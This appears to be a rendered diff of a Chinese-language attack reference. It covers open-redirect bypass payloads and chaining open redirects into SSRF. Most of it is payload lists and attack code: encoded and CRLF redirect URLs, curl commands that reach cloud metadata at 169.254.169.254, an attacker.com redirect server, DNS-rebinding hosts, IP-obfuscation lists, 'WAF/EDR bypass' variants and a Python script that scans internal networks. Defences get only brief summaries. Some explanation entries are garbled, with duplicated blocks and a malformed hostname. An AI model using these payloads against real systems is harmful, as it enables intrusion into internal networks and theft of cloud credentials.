https://target.com/redirect?url=https://target.com/..%2f@evil.com
|
|
133
|
+
https://target.com/redirect?url=//evil.com/%2f..%2f
|
|
134
|
+
|
|
135
|
+
# 协议相对URL
|
|
136
|
+
https://target.com/redirect?url=//evil.com
|
|
137
|
+
https://target.com/redirect?url=\\evil.com
|
|
138
|
+
```
|
|
139
|
+
**语法解析:**
|
|
140
|
+
- `# 反斜杠替代正斜杠` — 主要命令 _command_
|
|
141
|
+
- `...` — 共9行 _value_
|
|
142
|
+
|
|
143
|
+
**URL片段与参数注入**
|
|
144
|
+
> 利用URL片段标识符、参数污染和完整URL编码绕过服务端的重定向目标检查
|
|
145
|
+
```
|
|
146
|
+
# 片段标识符混淆
|
|
147
|
+
https://target.com/redirect?url=https://target.com#@evil.com
|
|
148
|
+
https://target.com/redirect?url=https://target.com%23@evil.com
|
|
149
|
+
|
|
150
|
+
# 参数污染
|
|
151
|
+
https://target.com/redirect?url=https://target.com&url=https://evil.com
|
|
152
|
+
https://target.com/redirect?url=https://target.com%26next=evil.com
|
|
153
|
+
|
|
154
|
+
# 编码混淆
|
|
155
|
+
https://target.com/redirect?url=https%3a%2f%2fevil.com
|
|
156
|
+
https://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d
|
|
157
|
+
```
|
|
158
|
+
**语法解析:**
|
|
159
|
+
- `# 片段标识符混淆` — 主要命令 _command_
|
|
160
|
+
- `...` — 共9行 _value_
|
|
161
|
+
|
|
162
|
+
**空字节与特殊字符截断**
|
|
163
|
+
> 利用空字节截断URL校验、CRLF注入额外头部、特殊空白字符混淆URL解析
|
|
164
|
+
```
|
|
165
|
+
# 空字节截断
|
|
166
|
+
https://target.com/redirect?url=https://target.com%00@evil.com
|
|
167
|
+
https://target.com/redirect?url=https://evil.com%00.target.com
|
|
168
|
+
|
|
169
|
+
# 换行符注入
|
|
170
|
+
https://target.com/redirect?url=https://evil.com%0d%0aLocation:%20https://evil.com
|
|
171
|
+
|
|
172
|
+
# Tab/空格混淆
|
|
173
|
+
https://target.com/redirect?url=https://evil .com
|
|
174
|
+
https://target.com/redirect?url=java%09script:alert(1)
|
|
175
|
+
https://target.com/redirect?url=\x09javascript:alert(1)
|
|
176
|
+
```
|
|
177
|
+
**语法解析:**
|
|
178
|
+
- `# 空字节截断
|
|
179
|
+
https://target.com/redirect?url=https://target.com%00@evil.com
|
|
180
|
+
https://target.com/redirect?url=https://evil.com%00.target.com
|
|
181
|
+
|
|
182
|
+
# 换行符注入
|
|
183
|
+
https://target.com/redirect?url=https://evil.com%0d%0aLocation:%20https://evil.com
|
|
184
|
+
|
|
185
|
+
# Tab/空格混淆
|
|
186
|
+
https://target.com/redirect?url=https://evil .com
|
|
187
|
+
https://target.com/redirect?url=java%09script:alert(1)
|
|
188
|
+
https://target.com/redirect?url=\x09javascript:alert(1)` — 注入代码 _value_
|
|
189
|
+
|
|
190
|
+
|
|
191
|
+
**概述:** 开发者常通过正则或黑名单限制重定向,可被多种技巧绕过。
|
|
192
|
+
|
|
193
|
+
**漏洞原理:** 校验逻辑不严。
|
|
194
|
+
|
|
195
|
+
**利用方法:** 使用编码、特殊字符、IP格式绕过
|
|
196
|
+
|
|
197
|
+
**防御措施:** 白名单校验域名
|
|
198
|
+
|
|
199
|
+
---
|
|
200
|
+
|
|
201
|
+
### 重定向到SSRF `redirect-ssrf`
|
|
202
|
+
_利用开放重定向漏洞作为跳板将SSRF探测引导到内部网络,绕过SSRF的URL白名单/黑名单限制_
|
|
203
|
+
子类:**SSRF** · tags: `redirect` `ssrf`
|
|
204
|
+
|
|
205
|
+
**前置条件:**
|
|
206
|
+
- 目标存在开放重定向(Open Redirect)漏洞
|
|
207
|
+
- 目标存在SSRF功能点(URL参数/Webhook等)
|
|
208
|
+
- SSRF过滤仅检查初始URL而不跟踪重定向
|
|
209
|
+
|
|
210
|
+
**攻击链:**
|
|
211
|
+
|
|
212
|
+
**识别开放重定向点**
|
|
213
|
+
> 寻找目标站点的开放重定向端点和参数
|
|
214
|
+
_platform: linux_
|
|
215
|
+
```
|
|
216
|
+
# 常见重定向参数:
|
|
217
|
+
curl -sI "http://target.com/redirect?url=https://evil.com" | grep -i location
|
|
218
|
+
curl -sI "http://target.com/login?next=https://evil.com" | grep -i location
|
|
219
|
+
curl -sI "http://target.com/goto?link=https://evil.com" | grep -i location
|
|
220
|
+
|
|
221
|
+
# 批量测试常见参数:
|
|
222
|
+
for param in url redirect next goto link return returnUrl callback dest destination rurl; do
|
|
223
|
+
status=$(curl -sI "http://target.com/redirect?${param}=https://evil.com" -o /dev/null -w "%{http_code}")
|
|
224
|
+
location=$(curl -sI "http://target.com/redirect?${param}=https://evil.com" | grep -i "^location:" | head -1)
|
|
225
|
+
echo "${param}: HTTP ${status} → ${location}"
|
|
226
|
+
done
|
|
227
|
+
```
|
|
228
|
+
**语法解析:**
|
|
229
|
+
- `grep -i location` — 检查重定向的Location响应头 _command_
|
|
230
|
+
- `redirect,next,goto,link` — 常见的重定向参数名称 _value_
|
|
231
|
+
|
|
232
|
+
**通过重定向绕过SSRF过滤**
|
|
233
|
+
> 利用目标自身的重定向端点绕过SSRF的域名白名单限制
|
|
234
|
+
_platform: linux_
|
|
235
|
+
```
|
|
236
|
+
# 场景: SSRF接口检查URL域名白名单,但不检查重定向目标
|
|
237
|
+
|
|
238
|
+
# 正常SSRF请求(被拦截):
|
|
239
|
+
curl "http://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/"
|
|
240
|
+
# → 返回: "Blocked: internal IP"
|
|
241
|
+
|
|
242
|
+
# 通过重定向绕过:
|
|
243
|
+
# 1. 先确认重定向有效:
|
|
244
|
+
curl -sI "http://target.com/redirect?url=http://169.254.169.254/latest/meta-data/"
|
|
245
|
+
|
|
246
|
+
# 2. 将重定向URL作为SSRF输入:
|
|
247
|
+
curl "http://target.com/api/fetch?url=http://target.com/redirect?url=http://169.254.169.254/latest/meta-data/"
|
|
248
|
+
# → SSRF过滤看到target.com(白名单内),放行
|
|
249
|
+
# → 服务端跟随重定向到169.254.169.254
|
|
250
|
+
# → 返回AWS元数据
|
|
251
|
+
```
|
|
252
|
+
**语法解析:**
|
|
253
|
+
- `169.254.169.254` — AWS元数据服务地址(SSRF常用目标) _value_
|
|
254
|
+
- `http://target.com/redirect?url=` — 利用自身域名的重定向作为SSRF跳板 _value_
|
|
255
|
+
|
|
256
|
+
**短链接和DNS重绑定辅助**
|
|
257
|
+
> 使用短链接、自建重定向和DNS重绑定辅助SSRF绕过
|
|
258
|
+
```
|
|
259
|
+
# 如果目标站点没有开放重定向,使用外部服务:
|
|
260
|
+
|
|
261
|
+
# 1. 短链接服务重定向:
|
|
262
|
+
# 创建短链接指向内部IP: bit.ly/xxxxx → http://192.168.1.1
|
|
263
|
+
curl "http://target.com/api/fetch?url=https://bit.ly/xxxxx"
|
|
264
|
+
|
|
265
|
+
# 2. 自建重定向服务器:
|
|
266
|
+
# Python Flask:
|
|
267
|
+
# @app.route("/redirect")
|
|
268
|
+
# def redir():
|
|
269
|
+
# return redirect("http://169.254.169.254/latest/meta-data/")
|
|
270
|
+
curl "http://target.com/api/fetch?url=http://attacker.com/redirect"
|
|
271
|
+
|
|
272
|
+
# 3. DNS重绑定:
|
|
273
|
+
# 使用rbndr.us等工具,DNS记录在attacker-IP和内部IP之间切换
|
|
274
|
+
# 第一次解析: attacker.com → 1.2.3.4 (通过IP检查)
|
|
275
|
+
# 第二次解析: attacker.com → 169.254.169.254 (实际请求)
|
|
276
|
+
curl "http://target.com/api/fetch?url=http://a]c0a80101.rbndr.us/"
|
|
277
|
+
```
|
|
278
|
+
**语法解析:**
|
|
279
|
+
- `bit.ly/xxxxx` — 短链接服务自动执行302重定向 _value_
|
|
280
|
+
- `rbndr.us` — DNS重绑定服务,交替解析到不同IP _value_
|
|
281
|
+
- `DNS重绑定` — 在IP验证和实际请求之间切换DNS解析结果 _value_
|
|
282
|
+
|
|
283
|
+
**完整利用链: 重定向→SSRF→内网探测**
|
|
284
|
+
> 利用重定向→SSRF链批量探测内部网络资源
|
|
285
|
+
```
|
|
286
|
+
# 完整攻击链:
|
|
287
|
+
import requests
|
|
288
|
+
|
|
289
|
+
TARGET = "http://target.com"
|
|
290
|
+
SSRF_URL = f"{TARGET}/api/fetch?url="
|
|
291
|
+
REDIR_URL = f"{TARGET}/redirect?url="
|
|
292
|
+
|
|
293
|
+
# 通过重定向探测内网:
|
|
294
|
+
internal_targets = [
|
|
295
|
+
"http://169.254.169.254/latest/meta-data/",
|
|
296
|
+
"http://127.0.0.1:8080/",
|
|
297
|
+
"http://192.168.1.1/",
|
|
298
|
+
"http://10.0.0.1/",
|
|
299
|
+
"http://172.16.0.1/",
|
|
300
|
+
]
|
|
301
|
+
|
|
302
|
+
for internal in internal_targets:
|
|
303
|
+
# 构造: SSRF → 重定向 → 内网目标
|
|
304
|
+
payload = f"{SSRF_URL}{REDIR_URL}{internal}"
|
|
305
|
+
try:
|
|
306
|
+
r = requests.get(payload, timeout=5)
|
|
307
|
+
if r.status_code == 200 and len(r.text) > 0:
|
|
308
|
+
print(f"[+] FOUND: {internal}")
|
|
309
|
+
print(f" Response: {r.text[:200]}")
|
|
310
|
+
else:
|
|
311
|
+
print(f"[-] {internal}: HTTP {r.status_code}")
|
|
312
|
+
except Exception as e:
|
|
313
|
+
print(f"[!] {internal}: {e}")
|
|
314
|
+
```
|
|
315
|
+
**语法解析:**
|
|
316
|
+
- `SSRF_URL + REDIR_URL + internal` — 三层链式利用:SSRF接口→重定向→内网 _value_
|
|
317
|
+
- `timeout=5` — 设置超时避免内网不可达时长时间等待 _parameter_
|
|
318
|
+
|
|
319
|
+
**WAF/EDR 绕过变体:**
|
|
320
|
+
|
|
321
|
+
**URL解析差异利用**
|
|
322
|
+
> 利用不同URL解析库(cURL/urllib/Java URL)对authority/host部分解析的差异绕过SSRF白名单
|
|
323
|
+
```
|
|
324
|
+
# 利用URL解析库差异
|
|
325
|
+
http://evil.com#@target.com
|
|
326
|
+
http://evil.com\@target.com
|
|
327
|
+
http://target.com@evil.com
|
|
328
|
+
|
|
329
|
+
# 特殊URL格式
|
|
330
|
+
http://evil。com (全角句号)
|
|
331
|
+
http://ⓔⓥⓘⓛ.com (Unicode圆圈字符)
|
|
332
|
+
http://evil%E3%80%82com
|
|
333
|
+
|
|
334
|
+
# IPv6地址混淆
|
|
335
|
+
http://[::ffff:127.0.0.1]
|
|
336
|
+
http://[0:0:0:0:0:ffff:127.0.0.1]
|
|
337
|
+
```
|
|
338
|
+
**语法解析:**
|
|
339
|
+
- `# 利用URL解析库差异` — 主要命令 _command_
|
|
340
|
+
- `...` — 共11行 _value_
|
|
341
|
+
|
|
342
|
+
**DNS重绑定攻击**
|
|
343
|
+
> 通过DNS重绑定在URL校验和实际请求之间切换解析结果,绕过SSRF的IP黑名单
|
|
344
|
+
```
|
|
345
|
+
# DNS Rebinding攻击步骤
|
|
346
|
+
# 1. 配置DNS服务器交替返回不同IP
|
|
347
|
+
# evil.com -> 第1次解析: 公网IP(通过校验)
|
|
348
|
+
# evil.com -> 第2次解析: 127.0.0.1(实际请求)
|
|
349
|
+
|
|
350
|
+
# 使用rbndr.us自动DNS重绑定
|
|
351
|
+
http://7f000001.c0a80001.rbndr.us/internal
|
|
352
|
+
|
|
353
|
+
# 使用1u.ms
|
|
354
|
+
http://make-127.0.0.1-rr.1u.ms/admin
|
|
355
|
+
|
|
356
|
+
# TOCTOU: 检查时域名解析到白名单IP,请求时解析到内网IP
|
|
357
|
+
```
|
|
358
|
+
**语法解析:**
|
|
359
|
+
- `# DNS Rebinding攻击步骤` — 主要命令 _command_
|
|
360
|
+
- `...` — 共9行 _value_
|
|
361
|
+
|
|
362
|
+
**IP地址混淆表示**
|
|
363
|
+
> 使用十进制、八进制、十六进制和IPv6映射等不同方式表示内网IP绕过黑名单检查
|
|
364
|
+
```
|
|
365
|
+
# 十进制IP
|
|
366
|
+
http://2130706433 (= 127.0.0.1)
|
|
367
|
+
http://3232235777 (= 192.168.1.1)
|
|
368
|
+
|
|
369
|
+
# 八进制IP
|
|
370
|
+
http://0177.0.0.1 (= 127.0.0.1)
|
|
371
|
+
http://0x7f.0.0.1 (= 127.0.0.1)
|
|
372
|
+
|
|
373
|
+
# 混合进制
|
|
374
|
+
http://0177.0x0.0.1
|
|
375
|
+
http://127.1 (省略零段)
|
|
376
|
+
http://127.0.1
|
|
377
|
+
|
|
378
|
+
# IPv6映射
|
|
379
|
+
http://[::1]
|
|
380
|
+
http://[::] (= 0.0.0.0)
|
|
381
|
+
http://[::ffff:7f00:1]
|
|
382
|
+
```
|
|
383
|
+
**语法解析:**
|
|
384
|
+
- `# 十进制IP` — 主要命令 _command_
|
|
385
|
+
- `...` — 共14行 _value_
|
|
386
|
+
|
|
387
|
+
|
|
388
|
+
**概述:** 重定向+SSRF组合攻击是一种高级SSRF绕过技术。当SSRF过滤仅检查初始URL的域名/IP(白名单)但服务端HTTP客户端会跟随302重定向时,攻击者可以利用目标自身的开放重定向端点作为跳板,将请求从白名单域名重定向到内网IP地址。
|
|
389
|
+
|
|
390
|
+
**漏洞原理:** 1) 目标存在开放重定向漏洞(未验证重定向目标) 2) SSRF功能的URL过滤仅检查初始请求的域名/IP 3) 服务端HTTP客户端自动跟随302/301重定向 4) 重定向后的请求不再经过URL过滤
|
|
391
|
+
|
|
392
|
+
**利用方法:** 利用流程:1) 找到开放重定向端点 2) 确认SSRF功能点 3) 构造重定向URL指向内网目标 4) 将重定向URL作为SSRF输入 5) 通过重定向绕过白名单访问内网
|
|
393
|
+
|
|
394
|
+
**防御措施:** 1) 修复所有开放重定向漏洞 2) SSRF过滤应在HTTP请求的每一跳进行 3) 禁用HTTP客户端的自动重定向跟随 4) 白名单+黑名单双重过滤 5) 网络层隔离SSRF功能所在的服务器
|
|
395
|
+
|
|
396
|
+
---
|